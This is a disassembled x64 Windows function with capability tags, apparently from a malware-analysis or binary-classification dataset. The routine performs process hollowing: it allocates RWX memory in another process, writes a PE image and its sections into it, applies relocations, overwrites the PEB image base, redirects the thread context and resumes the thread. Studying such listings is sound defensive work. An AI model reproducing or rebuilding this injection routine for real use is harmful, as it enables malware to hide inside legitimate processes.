Function at 0x140008eeb
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call
Resume thread

Disassembly:
push rbp
push rdi
sub rsp, 0x398
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x330], rcx
mov qword [rbp + 0x338], rdx
mov rax, qword [rbp + 0x338]
mov qword [rbp + 0x2f0], rax
mov rax, qword [rbp + 0x2f0]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x2f0]
add rax, rdx
mov qword [rbp + 0x2e8], rax
mov rax, qword [rbp + 0x2e8]
mov eax, dword [rax + 0x50]
mov edx, eax
mov rax, qword [rbp + 0x330]
mov rax, qword [rax]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x298], rax
mov rax, qword [rbp + 0x298]
test rax, rax
jne 0x140008f9a
lea rax, str.____An_error_is_occured_when_trying_to_allocate_memory_for_the_new_image._n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0
jmp 0x140009505
mov rax, qword [rbp + 0x298]
mov rdx, rax
lea rax, str.___Memory_allocate_at_:_0x_p_n
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [rbp + 0x298]
mov edx, eax
mov rax, qword [rbp + 0x2e8]
mov eax, dword [rax + 0x34]
sub edx, eax
mov dword [rbp + 0x2e4], edx
mov rax, qword [rbp + 0x298]
mov edx, eax
mov rax, qword [rbp + 0x2e8]
mov dword [rax + 0x34], edx
mov rax, qword [rbp + 0x2e8]
mov eax, dword [rax + 0x54]
mov r8d, eax
mov rdx, qword [rbp + 0x298]
mov rax, qword [rbp + 0x330]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x338]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov dword [rbp + 0x2e0], eax
cmp dword [rbp + 0x2e0], 0
jne 0x140009049
lea rax, str.____An_error_is_occured_when_trying_to_write_the_headers_of_the_new_image._n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0
jmp 0x140009505
mov rax, qword [rbp + 0x298]
mov rdx, rax
lea rax, str.___Headers_write_at_:_0x_p_n
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [rbp + 0x338]
mov rcx, rax
call sym.GetRelocAddress32_void_
mov qword [rbp + 0x290], rax
mov qword [rbp + 0x308], 0
mov dword [rbp + 0x304], 0
jmp 0x1400091e4
mov rax, qword [rbp + 0x2e8]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x2e8]
lea rcx, [rdx + rax]
mov eax, dword [rbp + 0x304]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x2a8], rax
mov edx, dword [rbp + 0x290]
mov rax, qword [rbp + 0x2a8]
mov eax, dword [rax + 0xc]
cmp edx, eax
jb 0x140009112
mov edx, dword [rbp + 0x290]
mov rax, qword [rbp + 0x2a8]
mov ecx, dword [rax + 0xc]
mov rax, qword [rbp + 0x2a8]
mov eax, dword [rax + 8]
add eax, ecx
cmp edx, eax
jae 0x140009112
mov rax, qword [rbp + 0x2a8]
mov qword [rbp + 0x308], rax
mov rax, qword [rbp + 0x2a8]
mov eax, dword [rax + 0x10]
mov r8d, eax
mov rax, qword [rbp + 0x2a8]
mov eax, dword [rax + 0x14]
mov edx, eax
mov rax, qword [rbp + 0x338]
add rax, rdx
mov rcx, rax
mov rax, qword [rbp + 0x2a8]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x298]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x330]
mov rax, qword [rax]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov dword [rbp + 0x2a4], eax
cmp dword [rbp + 0x2a4], 0
jne 0x1400091a8
mov rax, qword [rbp + 0x2a8]
mov rdx, rax
lea rax, str.____An_error_is_occured_when_trying_to_write_the_section_:__s._n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0
jmp 0x140009505
mov rax, qword [rbp + 0x2a8]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x298]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x2a8]
mov r8, rdx
mov rdx, rax
lea rax, str.___Section__s_write_at_:_0x_p._n
mov rcx, rax
call sym.printf_char_const__::_
add dword [rbp + 0x304], 1
mov rax, qword [rbp + 0x2e8]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp + 0x304], eax
jl 0x140009092
cmp qword [rbp + 0x308], 0
jne 0x140009221
lea rax, str.____An_error_is_occured_when_trying_to_get_the_relocation_section_of_the_source_image._n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0
jmp 0x140009505
mov rax, qword [rbp + 0x308]
mov rdx, rax
lea rax, str.___Relocation_section_:__s_n
mov rcx, rax
call sym.printf_char_const__::_
mov dword [rbp + 0x300], 0
jmp 0x1400093a8
mov rax, qword [rbp + 0x308]
mov eax, dword [rax + 0x14]
mov edx, eax
mov rax, qword [rbp + 0x338]
add rdx, rax
mov eax, dword [rbp + 0x300]
add rax, rdx
mov qword [rbp + 0x2c8], rax
add dword [rbp + 0x300], 8
mov rax, qword [rbp + 0x2c8]
mov eax, dword [rax + 4]
mov eax, eax
sub rax, 8
shr rax, 1
mov dword [rbp + 0x2c4], eax
mov dword [rbp + 0x2fc], 0
jmp 0x140009396
mov rax, qword [rbp + 0x308]
mov eax, dword [rax + 0x14]
mov edx, eax
mov rax, qword [rbp + 0x338]
add rdx, rax
mov eax, dword [rbp + 0x300]
add rax, rdx
mov qword [rbp + 0x2b8], rax
add dword [rbp + 0x300], 2
mov rax, qword [rbp + 0x2b8]
movzx eax, byte [rax + 1]
and eax, 0xfffffff0
test al, al
je 0x14000938e
mov rax, qword [rbp + 0x2c8]
mov eax, dword [rax]
mov edx, eax
mov rax, qword [rbp + 0x298]
add rdx, rax
mov rax, qword [rbp + 0x2b8]
movzx eax, word [rax]
and ax, 0xfff
movzx eax, ax
add rax, rdx
mov qword [rbp + 0x2b0], rax
mov dword [rbp - 0x44], 0
mov rdx, qword [rbp + 0x2b0]
mov rax, qword [rbp + 0x330]
mov rax, qword [rax]
lea rcx, [rbp - 0x44]
mov qword [rsp + 0x20], 0
mov r9d, 4
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
call rax
mov edx, dword [rbp - 0x44]
mov eax, dword [rbp + 0x2e4]
add eax, edx
mov dword [rbp - 0x44], eax
mov rdx, qword [rbp + 0x2b0]
mov rax, qword [rbp + 0x330]
mov rax, qword [rax]
lea rcx, [rbp - 0x44]
mov qword [rsp + 0x20], 0
mov r9d, 4
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
jmp 0x14000938f
nop
add dword [rbp + 0x2fc], 1
mov eax, dword [rbp + 0x2fc]
cmp eax, dword [rbp + 0x2c4]
jb 0x14000929e
mov eax, dword [rbp + 0x294]
cmp dword [rbp + 0x300], eax
jb 0x140009249
lea rax, str.___Relocations_done._n
mov rcx, rax
call sym.printf_char_const__::_
lea rdx, [rbp - 0x40]
mov eax, 0
mov ecx, 0x59
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov dword [rdx], eax
add rdx, 4
mov dword [rbp - 0x40], 0x10000b
mov rax, qword [rbp + 0x330]
mov rax, qword [rax + 8]
lea rdx, [rbp - 0x40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
call rax
mov dword [rbp + 0x2dc], eax
cmp dword [rbp + 0x2dc], 0
jne 0x140009430
lea rax, str.____An_error_is_occured_when_trying_to_get_the_thread_context._n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0
jmp 0x140009505
mov eax, dword [rbp + 0x64]
mov eax, eax
add rax, 8
mov rcx, rax
mov rax, qword [rbp + 0x330]
mov rax, qword [rax]
lea rdx, [rbp + 0x298]
mov qword [rsp + 0x20], 0
mov r9d, 4
mov r8, rdx
mov rdx, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov dword [rbp + 0x2d8], eax
cmp dword [rbp + 0x2d8], 0
jne 0x140009493
lea rax, str.____An_error_is_occured_when_trying_to_write_the_image_base_in_the_PEB._n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0
jmp 0x140009505
mov rax, qword [rbp + 0x2e8]
mov eax, dword [rax + 0x28]
mov rdx, qword [rbp + 0x298]
add eax, edx
mov dword [rbp + 0x70], eax
mov rax, qword [rbp + 0x330]
mov rax, qword [rax + 8]
lea rdx, [rbp - 0x40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_Wow64SetThreadContext]
call rax
mov dword [rbp + 0x2d4], eax
cmp dword [rbp + 0x2d4], 0
jne 0x1400094e9
lea rax, str.____An_error_is_occured_when_trying_to_set_the_thread_context._n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0
jmp 0x140009505
mov rax, qword [rbp + 0x330]
mov rax, qword [rax + 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ResumeThread]
call rax
mov eax, 1
add rsp, 0x398
pop rdi
pop rbp
ret